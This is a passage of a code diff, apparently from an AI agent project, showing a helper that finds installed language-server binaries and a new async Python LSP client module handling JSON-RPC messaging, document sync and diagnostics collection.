if staged.exists():
|
||||
sys.stdout.write(str(staged) + "\n")
|
||||
return 0
|
||||
on_path = _shutil.which(bin_name)
|
||||
if on_path:
|
||||
sys.stdout.write(on_path + "\n")
|
||||
return 0
|
||||
sys.stderr.write(f"{server_id}: not installed\n")
|
||||
return 1
|
||||
|
||||
|
||||
def _recipe_pkg_for(server_id: str) -> str:
|
||||
"""Map a registry ``server_id`` to its install-recipe package key."""
|
||||
# The mapping lives here (not in install.py) because it's a CLI
|
||||
# convenience layer. Most server_ids are also their own recipe
|
||||
# key, but a few differ (e.g. ``vue-language-server`` →
|
||||
# ``@vue/language-server``).
|
||||
aliases = {
|
||||
"vue-language-server": "@vue/language-server",
|
||||
"astro-language-server": "@astrojs/language-server",
|
||||
"dockerfile-ls": "dockerfile-language-server-nodejs",
|
||||
"typescript": "typescript-language-server",
|
||||
}
|
||||
return aliases.get(server_id, server_id)
|
||||
@@ -0,0 +1,930 @@
|
||||
"""Async LSP client over stdin/stdout.
|
||||
|
||||
One :class:`LSPClient` corresponds to one ``(language_server, workspace_root)``
|
||||
pair — exactly what OpenCode keys clients on, and the same shape Claude
|
||||
Code uses. The client owns a child process, drives the JSON-RPC
|
||||
exchange, and exposes:
|
||||
|
||||
- :meth:`open_file` / :meth:`change_file` — text document sync
|
||||
- :meth:`wait_for_diagnostics` — block until the server emits fresh
|
||||
diagnostics for a specific file (or a timeout fires)
|
||||
- :meth:`diagnostics_for` — read the current per-file diagnostic store
|
||||
- :meth:`shutdown` — graceful close + SIGTERM/SIGKILL fallback
|
||||
|
||||
The class is designed for async use from a single asyncio event loop.
|
||||
The :class:`agent.lsp.manager.LSPService` runs an event loop in a
|
||||
background thread so the synchronous file_operations layer can call
|
||||
into it via :func:`agent.lsp.manager.LSPService.touch_file`.
|
||||
|
||||
Implementation notes:
|
||||
|
||||
- Push diagnostics are stored per-URI in :attr:`_push_diagnostics` from
|
||||
``textDocument/publishDiagnostics`` notifications. Pull diagnostics
|
||||
go in :attr:`_pull_diagnostics`. The merged view dedupes by content.
|
||||
|
||||
- Whole-document sync. Even when the server advertises incremental
|
||||
sync, we send a single ``contentChanges`` entry replacing the
|
||||
entire document. Pretending to be incremental while sending a
|
||||
full replacement is well-tolerated by every major server and saves
|
||||
range bookkeeping. See OpenCode's ``client.ts:584-659`` for the
|
||||
same trick.
|
||||
|
||||
- The "touch-file dance": every ``open_file`` call also fires a
|
||||
``workspace/didChangeWatchedFiles`` notification (CREATED on the
|
||||
first open, CHANGED thereafter). Some servers (clangd, eslint)
|
||||
only re-scan when this notification fires, even though the LSP spec
|
||||
doesn't strictly require it.
|
||||
|
||||
- ``ContentModified`` (-32801) errors get retried with exponential
|
||||
backoff up to 3 times. This matches Claude Code's
|
||||
``LSPServerInstance.sendRequest``.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
from pathlib import Path
|
||||
from typing import Any, Awaitable, Callable, Dict, List, Optional, Set
|
||||
from urllib.parse import quote, unquote
|
||||
|
||||
from plugins.lsp.protocol import (
|
||||
ERROR_CONTENT_MODIFIED,
|
||||
ERROR_METHOD_NOT_FOUND,
|
||||
LSPProtocolError,
|
||||
LSPRequestError,
|
||||
classify_message,
|
||||
encode_message,
|
||||
make_error_response,
|
||||
make_notification,
|
||||
make_request,
|
||||
make_response,
|
||||
read_message,
|
||||
)
|
||||
|
||||
logger = logging.getLogger("agent.lsp.client")
|
||||
|
||||
# Timeouts (seconds) — mirror OpenCode's constants, scaled to seconds.
|
||||
INITIALIZE_TIMEOUT = 45.0
|
||||
DIAGNOSTICS_DOCUMENT_WAIT = 5.0
|
||||
DIAGNOSTICS_FULL_WAIT = 10.0
|
||||
DIAGNOSTICS_REQUEST_TIMEOUT = 3.0
|
||||
PUSH_DEBOUNCE = 0.15
|
||||
SHUTDOWN_GRACE = 1.0 # seconds between SIGTERM and SIGKILL
|
||||
|
||||
# Retry policy for transient ContentModified errors.
|
||||
MAX_CONTENT_MODIFIED_RETRIES = 3
|
||||
RETRY_BASE_DELAY = 0.5 # 0.5, 1.0, 2.0 — exponential
|
||||
|
||||
|
||||
def file_uri(path: str) -> str:
|
||||
"""Return ``file://`` URI for an absolute filesystem path.
|
||||
|
||||
Mirrors Node's ``pathToFileURL`` — handles spaces, unicode, and
|
||||
Windows drive letters (``C:\\foo`` → ``file:///C:/foo``).
|
||||
"""
|
||||
abs_path = os.path.abspath(path)
|
||||
if os.name == "nt":
|
||||
# Windows: backslash → forward slash, prepend extra slash so
|
||||
# the drive letter shows up as part of the path component.
|
||||
abs_path = abs_path.replace("\\", "/")
|
||||
if not abs_path.startswith("/"):
|
||||
abs_path = "/" + abs_path
|
||||
return "file://" + quote(abs_path, safe="/:")
|
||||
|
||||
|
||||
def uri_to_path(uri: str) -> str:
|
||||
"""Inverse of :func:`file_uri`."""
|
||||
if not uri.startswith("file://"):
|
||||
return uri
|
||||
raw = uri[len("file://"):]
|
||||
if os.name == "nt" and raw.startswith("/") and len(raw) > 2 and raw[2] == ":":
|
||||
raw = raw[1:] # strip leading slash before drive letter
|
||||
return os.path.normpath(unquote(raw))
|
||||
|
||||
|
||||
def _end_position(text: str) -> Dict[str, int]:
|
||||
"""Return the LSP Position at the end of ``text``.
|
||||
|
||||
Used to construct a single-range "replace whole document" change
|
||||
for ``textDocument/didChange`` regardless of the server's declared
|
||||
sync mode.
|
||||
"""
|
||||
if not text:
|
||||
return {"line": 0, "character": 0}
|
||||
lines = text.splitlines(keepends=False)
|
||||
last_line = len(lines) - 1
|
||||
last_col = len(lines[-1]) if lines else 0
|
||||
# If the text ends with a trailing newline, ``splitlines`` won't
|
||||
# represent it. The end position is then the start of the next
|
||||
# (empty) line — line index is len(lines), column 0.
|
||||
if text.endswith(("\n", "\r")):
|
||||
return {"line": last_line + 1, "character": 0}
|
||||
return {"line": last_line, "character": last_col}
|
||||
|
||||
|
||||
class LSPClient:
|
||||
"""Async LSP client tied to one server process and one workspace root.
|
||||
|
||||
Lifecycle:
|
||||
|
||||
c = LSPClient(server_id, workspace_root, command, args, init_options)
|
||||
await c.start() # spawn + initialize
|
||||
ver = await c.open_file("/path/to/foo.py")
|
||||
await c.wait_for_diagnostics("/path/to/foo.py", ver)
|
||||
diags = c.diagnostics_for("/path/to/foo.py")
|
||||
await c.shutdown()
|
||||
"""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# construction + lifecycle
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
server_id: str,
|
||||
workspace_root: str,
|
||||
command: List[str],
|
||||
env: Optional[Dict[str, str]] = None,
|
||||
cwd: Optional[str] = None,
|
||||
initialization_options: Optional[Dict[str, Any]] = None,
|
||||
seed_diagnostics_on_first_push: bool = False,
|
||||
) -> None:
|
||||
self.server_id = server_id
|
||||
self.workspace_root = workspace_root
|
||||
self._command = list(command)
|
||||
self._env = env
|
||||
self._cwd = cwd or workspace_root
|
||||
self._init_options = initialization_options or {}
|
||||
self._seed_first_push = seed_diagnostics_on_first_push
|
||||
|
||||
# Process + streams
|
||||
self._proc: Optional[asyncio.subprocess.Process] = None
|
||||
self._stderr_task: Optional[asyncio.Task] = None
|
||||
self._reader_task: Optional[asyncio.Task] = None
|
||||
|
||||
# Request/response correlation
|
||||
self._next_id: int = 0
|
||||
self._pending: Dict[int, asyncio.Future] = {}
|
||||
|
||||
# Server-side request handlers (server → client requests).
|
||||
# Kept small and explicit; everything else returns method-not-found.
|
||||
self._request_handlers: Dict[str, Callable[[Any], Awaitable[Any]]] = {
|
||||
"window/workDoneProgress/create": self._handle_work_done_create,
|
||||
"workspace/configuration": self._handle_workspace_configuration,
|
||||
"client/registerCapability": self._handle_register_capability,
|
||||
"client/unregisterCapability": self._handle_unregister_capability,
|
||||
"workspace/workspaceFolders": self._handle_workspace_folders,
|
||||
"workspace/diagnostic/refresh": self._handle_diagnostic_refresh,
|
||||
}
|
||||
# Notifications (server → client) we care about.
|
||||
self._notification_handlers: Dict[str, Callable[[Any], None]] = {
|
||||
"textDocument/publishDiagnostics": self._handle_publish_diagnostics,
|
||||
# Everything else (window/showMessage, $/progress, etc.)
|
||||
# is silently dropped by default.
|
||||
}
|
||||
|
||||
# Tracked file state — required for didChange version bumps.
|
||||
self._files: Dict[str, Dict[str, Any]] = {}
|
||||
# Diagnostic stores, keyed by file path (NOT URI).
|
||||
self._push_diagnostics: Dict[str, List[Dict[str, Any]]] = {}
|
||||
self._pull_diagnostics: Dict[str, List[Dict[str, Any]]] = {}
|
||||
# Per-path "last published" time so wait-for-fresh logic works.
|
||||
self._published: Dict[str, float] = {}
|
||||
# Per-path version of the latest push (matches our didChange
|
||||
# version when the server respects it).
|
||||
self._published_version: Dict[str, int] = {}
|
||||
# First-push seen flag, for typescript-style seed-on-first-push.
|
||||
self._first_push_seen: Set[str] = set()
|
||||
# Capability registrations — only diagnostic ones are tracked.
|
||||
self._diagnostic_registrations: Dict[str, Dict[str, Any]] = {}
|
||||
|
||||
# State machine
|
||||
self._state: str = "stopped"
|
||||
self._initialize_result: Optional[Dict[str, Any]] = None
|
||||
self._sync_kind: int = 1 # 1=Full, 2=Incremental
|
||||
self._stopping: bool = False
|
||||
|
||||
# Push event for waiters.
|
||||
self._push_event = asyncio.Event()
|
||||
# Monotonic counter incremented on every publishDiagnostics push.
|
||||
# Waiters snapshot it on entry and treat any increase as
|
||||
# "something happened, recheck the predicate". Avoids the
|
||||
# asyncio.Event sticky-state trap.
|
||||
self._push_counter = 0
|
||||
# Registration change event so wait_for_diagnostics can re-loop
|
||||
# when the server announces a new dynamic provider.
|
||||
self._registration_event = asyncio.Event()
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
return self._state == "running" and self._proc is not None and self._proc.returncode is None
|
||||
|
||||
@property
|
||||
def state(self) -> str:
|
||||
return self._state
|
||||
|
||||
async def start(self) -> None:
|
||||
"""Spawn the server and complete the initialize handshake.
|
||||
|
||||
Raises any exception encountered during spawn/init. On failure
|
||||
the process is killed and the client is left in state
|
||||
``"error"`` — re-call ``start()`` to retry.
|
||||
"""
|
||||
if self._state in ("running", "starting"):
|
||||
return
|
||||
self._state = "starting"
|
||||
try:
|
||||
await self._spawn()
|
||||
await self._initialize()
|
||||
self._state = "running"
|
||||
except Exception:
|
||||
self._state = "error"
|
||||
await self._cleanup_process()
|
||||
raise
|
||||
|
||||
async def _spawn(self) -> None:
|
||||
env = dict(os.environ)
|
||||
if self._env:
|
||||
env.update(self._env)
|
||||
|
||||
try:
|
||||
self._proc = await asyncio.create_subprocess_exec(
|
||||
self._command[0],
|
||||
*self._command[1:],
|
||||
stdin=asyncio.subprocess.PIPE,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
env=env,
|
||||
cwd=self._cwd,
|
||||
)
|
||||
except FileNotFoundError as e:
|
||||
raise LSPProtocolError(
|
||||
f"LSP server binary not found: {self._command[0]} ({e})"
|
||||
) from e
|
||||
|
||||
# Drain stderr at debug level — if we don't, the pipe buffer
|
||||
# fills and the server hangs.
|
||||
self._stderr_task = asyncio.create_task(self._drain_stderr())
|
||||
# Start the reader loop.
|
||||
self._reader_task = asyncio.create_task(self._reader_loop())
|
||||
|
||||
async def _drain_stderr(self) -> None:
|
||||
if self._proc is None or self._proc.stderr is None:
|
||||
return
|
||||
try:
|
||||
while True:
|
||||
line = await self._proc.stderr.readline()
|
||||
if not line:
|
||||
break
|
||||
text = line.decode("utf-8", errors="replace").rstrip()
|
||||
if text:
|
||||
logger.debug("[%s] stderr: %s", self.server_id, text[:1000])
|
||||
except (asyncio.CancelledError, OSError):
|
||||
pass
|
||||
|
||||
async def _reader_loop(self) -> None:
|
||||
if self._proc is None or self._proc.stdout is None:
|
||||
return
|
||||
try:
|
||||
while True:
|
||||
msg = await read_message(self._proc.stdout)
|
||||
if msg is None:
|
||||
logger.debug("[%s] server closed stdout cleanly", self.server_id)
|
||||
break
|
||||
kind, key = classify_message(msg)
|
||||
if kind == "response":
|
||||
self._dispatch_response(key, msg)
|
||||
elif kind == "request":
|
||||
asyncio.create_task(self._dispatch_request(key, msg))
|
||||
elif kind == "notification":
|
||||
self._dispatch_notification(key, msg)
|
||||
else:
|
||||
logger.warning("[%s] dropping invalid message: %r", self.server_id, msg)
|
||||
except LSPProtocolError as e:
|
||||
logger.warning("[%s] protocol error in reader loop: %s", self.server_id, e)
|
||||
except (asyncio.CancelledError, OSError):
|
||||
pass
|
||||
finally:
|
||||
# Wake up any pending requests so they can fail fast.
|
||||
for fut in list(self._pending.values()):
|
||||
if not fut.done():
|
||||
fut.set_exception(LSPProtocolError("server connection closed"))
|
||||
self._pending.clear()
|
||||
|
||||
async def _initialize(self) -> None:
|
||||
params = {
|
||||
"rootUri": file_uri(self.workspace_root),
|
||||
"rootPath": self.workspace_root,
|
||||
"processId": os.getpid(),
|
||||
"workspaceFolders": [
|
||||
{"name": "workspace", "uri": file_uri(self.workspace_root)}
|
||||
],
|
||||
"initializationOptions": self._init_options,
|
||||
"capabilities": {
|
||||
"window": {"workDoneProgress": True},
|
||||
"workspace": {
|
||||
"configuration": True,
|
||||
"workspaceFolders": True,
|
||||
"didChangeWatchedFiles": {"dynamicRegistration": True},
|
||||
"diagnostics": {"refreshSupport": False},
|
||||
},
|
||||
"textDocument": {
|
||||
"synchronization": {
|
||||
"dynamicRegistration": False,
|
||||
"didOpen": True,
|
||||
"didChange": True,
|
||||
"didSave": True,
|
||||
"willSave": False,
|
||||
"willSaveWaitUntil": False,
|
||||
},
|
||||
"diagnostic": {
|
||||
"dynamicRegistration": True,
|
||||
"relatedDocumentSupport": True,
|
||||
},
|
||||
"publishDiagnostics": {
|
||||
"relatedInformation": True,
|
||||
"tagSupport": {"valueSet": [1, 2]},
|
||||
"versionSupport": True,
|
||||
"codeDescriptionSupport": True,
|
||||
"dataSupport": False,
|
||||
},
|
||||
"hover": {"contentFormat": ["markdown", "plaintext"]},
|
||||
"definition": {"linkSupport": True},
|
||||
"references": {},
|
||||
"documentSymbol": {"hierarchicalDocumentSymbolSupport": True},
|
||||
},
|
||||
"general": {"positionEncodings": ["utf-16"]},
|
||||
},
|
||||
}
|
||||
|
||||
result = await asyncio.wait_for(
|
||||
self._send_request("initialize", params),
|
||||
timeout=INITIALIZE_TIMEOUT,
|
||||
)
|
||||
self._initialize_result = result
|
||||
self._sync_kind = self._extract_sync_kind(result.get("capabilities") or {})
|
||||
|
||||
await self._send_notification("initialized", {})
|
||||
if self._init_options:
|
||||
# Some servers (vtsls, eslint) want config pushed via
|
||||
# didChangeConfiguration even if it was sent in
|
||||
# initializationOptions.
|
||||
await self._send_notification(
|
||||
"workspace/didChangeConfiguration",
|
||||
{"settings": self._init_options},
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _extract_sync_kind(capabilities: dict) -> int:
|
||||
sync = capabilities.get("textDocumentSync")
|
||||
if isinstance(sync, int):
|
||||
return sync
|
||||
if isinstance(sync, dict):
|
||||
change = sync.get("change")
|
||||
if isinstance(change, int):
|
||||
return change
|
||||
return 1 # default to Full
|
||||
|
||||
async def shutdown(self) -> None:
|
||||
"""Best-effort graceful shutdown.
|
||||
|
||||
Sends ``shutdown`` + ``exit``, then SIGTERMs/SIGKILLs the
|
||||
process if it doesn't exit cleanly. Idempotent.
|
||||
"""
|
||||
if self._stopping:
|
||||
return
|
||||
self._stopping = True
|
||||
try:
|
||||
if self.is_running:
|
||||
try:
|
||||
await asyncio.wait_for(self._send_request("shutdown", None), timeout=2.0)
|
||||
except (asyncio.TimeoutError, LSPRequestError, LSPProtocolError):
|
||||
pass
|
||||
try:
|
||||
await self._send_notification("exit", None)
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
self._state = "stopped"
|
||||
await self._cleanup_process()
|
||||
|
||||
async def _cleanup_process(self) -> None:
|
||||
if self._reader_task is not None and not self._reader_task.done():
|
||||
self._reader_task.cancel()
|
||||
try:
|
||||
await self._reader_task
|
||||
except (asyncio.CancelledError, Exception): # noqa: BLE001
|
||||
pass
|
||||
if self._stderr_task is not None and not self._stderr_task.done():
|
||||
self._stderr_task.cancel()
|
||||
try:
|
||||
await self._stderr_task
|
||||
except (asyncio.CancelledError, Exception): # noqa: BLE001
|
||||
pass
|
||||
proc = self._proc
|
||||
self._proc = None
|
||||
if proc is None:
|
||||
return
|
||||
if proc.returncode is None:
|
||||
try:
|
||||
proc.terminate()
|
||||
try:
|
||||
await asyncio.wait_for(proc.wait(), timeout=SHUTDOWN_GRACE)
|
||||
except asyncio.TimeoutError:
|
||||
try:
|
||||
proc.kill()
|
||||
await proc.wait()
|
||||
except ProcessLookupError:
|
||||
pass
|
||||
except ProcessLookupError:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# request / notification plumbing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def _send_request(self, method: str, params: Any) -> Any:
|
||||
if self._proc is None or self._proc.stdin is None or self._proc.stdin.is_closing():
|
||||
raise LSPProtocolError(f"cannot send {method!r}: stdin closed")
|
||||
loop = asyncio.get_running_loop()
|
||||
req_id = self._next_id
|
||||
self._next_id += 1
|
||||
fut: asyncio.Future = loop.create_future()
|
||||
self._pending[req_id] = fut
|
||||
try:
|
||||
self._proc.stdin.write(encode_message(make_request(req_id, method, params)))
|
||||
await self._proc.stdin.drain()
|
||||
except (BrokenPipeError, ConnectionResetError, OSError) as e:
|
||||
self._pending.pop(req_id, None)
|
||||
raise LSPProtocolError(f"send failed for {method!r}: {e}") from e
|
||||
try:
|
||||
return await fut
|
||||
finally:
|
||||
self._pending.pop(req_id, None)
|
||||
|
||||
async def _send_request_with_retry(self, method: str, params: Any, *, timeout: float) -> Any:
|
||||
"""Send a request, retrying on ``ContentModified`` (-32801).
|
||||
|
||||
Other errors propagate. The retry policy matches Claude Code's
|
||||
``LSPServerInstance.sendRequest`` — 3 attempts with delays
|
||||
0.5s, 1.0s, 2.0s.
|
||||
"""
|
||||
for attempt in range(MAX_CONTENT_MODIFIED_RETRIES + 1):
|
||||
try:
|
||||
return await asyncio.wait_for(self._send_request(method, params), timeout=timeout)
|
||||
except LSPRequestError as e:
|
||||
if e.code == ERROR_CONTENT_MODIFIED and attempt < MAX_CONTENT_MODIFIED_RETRIES:
|
||||
await asyncio.sleep(RETRY_BASE_DELAY * (2 ** attempt))
|
||||
continue
|
||||
raise
|
||||
|
||||
async def _send_notification(self, method: str, params: Any) -> None:
|
||||
if self._proc is None or self._proc.stdin is None or self._proc.stdin.is_closing():
|
||||
return
|
||||
try:
|
||||
self._proc.stdin.write(encode_message(make_notification(method, params)))
|
||||
await self._proc.stdin.drain()
|
||||
except (BrokenPipeError, ConnectionResetError, OSError) as e:
|
||||
logger.debug("[%s] notify %s failed: %s", self.server_id, method, e)
|
||||
|
||||
async def _send_response(self, req_id: Any, result: Any) -> None:
|
||||
if self._proc is None or self._proc.stdin is None or self._proc.stdin.is_closing():
|
||||
return
|
||||
try:
|
||||
self._proc.stdin.write(encode_message(make_response(req_id, result)))
|
||||
await self._proc.stdin.drain()
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
|
||||
async def _send_error_response(self, req_id: Any, code: int, message: str) -> None:
|
||||
if self._proc is None or self._proc.stdin is None or self._proc.stdin.is_closing():
|
||||
return
|
||||
try:
|
||||
self._proc.stdin.write(encode_message(make_error_response(req_id, code, message)))
|
||||
await self._proc.stdin.drain()
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
|
||||
def _dispatch_response(self, req_id: int, msg: dict) -> None:
|
||||
fut = self._pending.get(req_id)
|
||||
if fut is None or fut.done():
|
||||
return
|
||||
if "error" in msg:
|
||||
err = msg["error"] or {}
|
||||
fut.set_exception(
|
||||
LSPRequestError(
|
||||
code=int(err.get("code", -32000)),
|
||||
message=str(err.get("message", "unknown")),
|
||||
data=err.get("data"),
|
||||
)
|
||||
)
|
||||
else:
|
||||
fut.set_result(msg.get("result"))
|
||||
|
||||
async def _dispatch_request(self, req_id: Any, msg: dict) -> None:
|
||||
method = msg.get("method", "")
|
||||
params = msg.get("params")
|
||||
handler = self._request_handlers.get(method)
|
||||
if handler is None:
|
||||
await self._send_error_response(req_id, ERROR_METHOD_NOT_FOUND, f"method not found: {method}")
|
||||
return
|
||||
try:
|
||||
result = await handler(params)
|
||||
except Exception as e: # noqa: BLE001 — protocol must not blow up
|
||||
logger.warning("[%s] request handler %s failed: %s", self.server_id, method, e)
|
||||
await self._send_error_response(req_id, -32000, f"handler failed: {e}")
|
||||
return
|
||||
await self._send_response(req_id, result)
|
||||
|
||||
def _dispatch_notification(self, method: str, msg: dict) -> None:
|
||||
handler = self._notification_handlers.get(method)
|
||||
if handler is None:
|
||||
return
|
||||
try:
|
||||
handler(msg.get("params"))
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.debug("[%s] notification handler %s failed: %s", self.server_id, method, e)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# built-in server-→-client request handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def _handle_work_done_create(self, params: Any) -> Any:
|
||||
# Acknowledge progress tokens — required by some servers.
|
||||
return None
|
||||
|
||||
async def _handle_workspace_configuration(self, params: Any) -> Any:
|
||||
# Walk dotted sections through initializationOptions. Mirrors
|
||||
# OpenCode's `client.ts:198-220` — return null when missing.
|
||||
if not isinstance(params, dict):
|
||||
return [None]
|
||||
items = params.get("items") or []
|
||||
out: List[Any] = []
|
||||
for item in items:
|
||||
if not isinstance(item, dict):
|
||||
out.append(None)
|
||||
continue
|
||||
section = item.get("section")
|
||||
if not section or not self._init_options:
|
||||
out.append(self._init_options or None)
|
||||
continue
|
||||
cur: Any = self._init_options
|
||||
for part in str(section).split("."):
|
||||
if isinstance(cur, dict) and part in cur:
|
||||
cur = cur[part]
|
||||
else:
|
||||
cur = None
|
||||
break
|
||||
out.append(cur)
|
||||
return out
|
||||
|
||||
async def _handle_register_capability(self, params: Any) -> Any:
|
||||
if not isinstance(params, dict):
|
||||
return None
|
||||
for reg in params.get("registrations") or []:
|
||||
if not isinstance(reg, dict):
|
||||
continue
|
||||
method = reg.get("method")
|
||||
reg_id = reg.get("id")
|
||||
if method == "textDocument/diagnostic" and reg_id:
|
||||
self._diagnostic_registrations[str(reg_id)] = reg
|
||||
self._registration_event.set()
|
||||
return None
|
||||
|
||||
async def _handle_unregister_capability(self, params: Any) -> Any:
|
||||
if not isinstance(params, dict):
|
||||
return None
|
||||
for unreg in params.get("unregisterations") or []:
|
||||
if not isinstance(unreg, dict):
|
||||
continue
|
||||
reg_id = unreg.get("id")
|
||||
if reg_id:
|
||||
self._diagnostic_registrations.pop(str(reg_id), None)
|
||||
return None
|
||||
|
||||
async def _handle_workspace_folders(self, params: Any) -> Any:
|
||||
return [{"name": "workspace", "uri": file_uri(self.workspace_root)}]
|
||||
|
||||
async def _handle_diagnostic_refresh(self, params: Any) -> Any:
|
||||
# We don't honour refresh — we re-pull on every touchFile.
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# publishDiagnostics handler
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _handle_publish_diagnostics(self, params: Any) -> None:
|
||||
if not isinstance(params, dict):
|
||||
return
|
||||
uri = params.get("uri")
|
||||
if not isinstance(uri, str):
|
||||
return
|
||||
path = uri_to_path(uri)
|
||||
diagnostics = params.get("diagnostics") or []
|
||||
if not isinstance(diagnostics, list):
|
||||
diagnostics = []
|
||||
version = params.get("version")
|
||||
loop_time = asyncio.get_event_loop().time()
|
||||
|
||||
if self._seed_first_push and path not in self._first_push_seen:
|
||||
# First push: seed without firing the event so a waiter
|
||||
# doesn't resolve on the very first push (which arrives
|
||||
# before the user-triggered didChange could've produced
|
||||
# fresh diagnostics).
|
||||
self._first_push_seen.add(path)
|
||||
self._push_diagnostics[path] = diagnostics
|
||||
self._published[path] = loop_time
|
||||
if isinstance(version, int):
|
||||
self._published_version[path] = version
|
||||
return
|
||||
|
||||
self._push_diagnostics[path] = diagnostics
|
||||
self._published[path] = loop_time
|
||||
if isinstance(version, int):
|
||||
self._published_version[path] = version
|
||||
self._first_push_seen.add(path)
|
||||
# Bump the monotonic push counter and wake every waiter. We
|
||||
# keep the Event sticky-set so any wait already in progress
|
||||
# resolves; waiters re-check their predicate after waking and
|
||||
# decide whether to keep waiting. ``_push_counter`` is what
|
||||
# they actually compare against to detect a fresh event.
|
||||
self._push_counter += 1
|
||||
self._push_event.set()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# public file-sync API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def open_file(self, path: str, *, language_id: str = "plaintext") -> int:
|
||||
"""Send didOpen (first time) or didChange (subsequent) for ``path``.
|
||||
|
||||
Returns the new document version number that the agent's
|
||||
``wait_for_diagnostics`` should match against.
|
||||
"""
|
||||
if not self.is_running:
|
||||
raise LSPProtocolError("client not running")
|
||||
|
||||
abs_path = os.path.abspath(path)
|
||||
try:
|
||||
text = Path(abs_path).read_text(encoding="utf-8", errors="replace")
|
||||
except OSError as e:
|
||||
raise LSPProtocolError(f"cannot read {abs_path}: {e}") from e
|
||||
|
||||
uri = file_uri(abs_path)
|
||||
existing = self._files.get(abs_path)
|
||||
|
||||
if existing is not None:
|
||||
# Re-open: bump version, fire didChangeWatchedFiles + didChange.
|
||||
await self._send_notification(
|
||||
"workspace/didChangeWatchedFiles",
|
||||
{"changes": [{"uri": uri, "type": 2}]}, # 2 = CHANGED
|
||||
)
|
||||
new_version = existing["version"] + 1
|
||||
old_text = existing["text"]
|
||||
content_changes: List[Dict[str, Any]]
|
||||
if self._sync_kind == 2:
|
||||
content_changes = [
|
||||
{
|
||||
"range": {
|
||||
"start": {"line": 0, "character": 0},
|
||||
"end": _end_position(old_text),
|
||||
},
|
||||
"text": text,
|
||||
}
|
||||
]
|
||||
else:
|
||||
content_changes = [{"text": text}]
|
||||
await self._send_notification(
|
||||
"textDocument/didChange",
|
||||
{
|
||||
"textDocument": {"uri": uri, "version": new_version},
|
||||
"contentChanges": content_changes,
|
||||
},
|
||||
)
|
||||
self._files[abs_path] = {"version": new_version, "text": text}
|
||||
return new_version
|
||||
|
||||
# First open: didChangeWatchedFiles CREATED + didOpen.
|
||||
await self._send_notification(
|
||||
"workspace/didChangeWatchedFiles",
|
||||
{"changes": [{"uri": uri, "type": 1}]}, # 1 = CREATED
|
||||
)
|
||||
# Clear any stale push/pull entries — fresh open should start
|
||||
# from scratch.
|
||||
self._push_diagnostics.pop(abs_path, None)
|
||||
self._pull_diagnostics.pop(abs_path, None)
|
||||
self._published.pop(abs_path, None)
|
||||
self._published_version.pop(abs_path, None)
|
||||
await self._send_notification(
|
||||
"textDocument/didOpen",
|
||||
{
|
||||
"textDocument": {
|
||||
"uri": uri,
|
||||
"languageId": language_id,
|
||||
"version": 0,
|
||||
"text": text,
|
||||
}
|
||||
},
|
||||
)
|
||||
self._files[abs_path] = {"version": 0, "text": text}
|
||||
return 0
|
||||
|
||||
async def save_file(self, path: str) -> None:
|
||||
"""Send didSave for ``path``. Some linters re-scan only on save."""
|
||||
if not self.is_running:
|
||||
return
|
||||
abs_path = os.path.abspath(path)
|
||||
await self._send_notification(
|
||||
"textDocument/didSave",
|
||||
{"textDocument": {"uri": file_uri(abs_path)}},
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# diagnostics: pull + wait
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def _pull_document_diagnostics(self, path: str) -> None:
|
||||
"""Send ``textDocument/diagnostic`` for one file.
|
||||
|
||||
Stores results into :attr:`_pull_diagnostics`. Silently
|
||||
no-ops on errors (server may not support the pull endpoint).
|
||||
"""
|
||||
try:
|
||||
params: Dict[str, Any] = {
|
||||
"textDocument": {"uri": file_uri(os.path.abspath(path))}
|
||||
}
|
||||
result = await self._send_request_with_retry(
|
||||
"textDocument/diagnostic",
|
||||
params,
|
||||
timeout=DIAGNOSTICS_REQUEST_TIMEOUT,
|
||||
)
|
||||
except (LSPRequestError, LSPProtocolError, asyncio.TimeoutError) as e:
|
||||
logger.debug("[%s] document diagnostic pull failed: %s", self.server_id, e)
|
||||
return
|
||||
if not isinstance(result, dict):
|
||||
return
|
||||
items = result.get("items")
|
||||
if isinstance(items, list):
|
||||
self._pull_diagnostics[os.path.abspath(path)] = items
|
||||
related = result.get("relatedDocuments")
|
||||
if isinstance(related, dict):
|
||||
for uri, sub in related.items():
|
||||
if not isinstance(sub, dict):
|
||||
continue
|
||||
sub_items = sub.get("items")
|
||||
if isinstance(sub_items, list):
|
||||
self._pull_diagnostics[uri_to_path(uri)] = sub_items
|
||||
|
||||
async def wait_for_diagnostics(
|
||||
self,
|
||||
path: str,
|
||||
version: int,
|
||||
*,
|
||||
mode: str = "document",
|
||||
) -> None:
|
||||
"""Wait for the server to publish diagnostics for ``path`` at ``version``.
|
||||
|
||||
``mode`` is ``"document"`` (5s budget, document pulls) or
|
||||
``"full"`` (10s budget, also workspace pulls). Best-effort —
|
||||
returns silently on timeout. Does NOT throw if the server
|
||||
doesn't support pull diagnostics; we still get the push side.
|
||||
"""
|
||||
budget = DIAGNOSTICS_FULL_WAIT if mode == "full" else DIAGNOSTICS_DOCUMENT_WAIT
|
||||
deadline = asyncio.get_event_loop().time() + budget
|
||||
abs_path = os.path.abspath(path)
|
||||
|
||||
while True:
|
||||
remaining = deadline - asyncio.get_event_loop().time()
|
||||
if remaining <= 0:
|
||||
return
|
||||
|
||||
# Concurrent: document pull + push wait.
|
||||
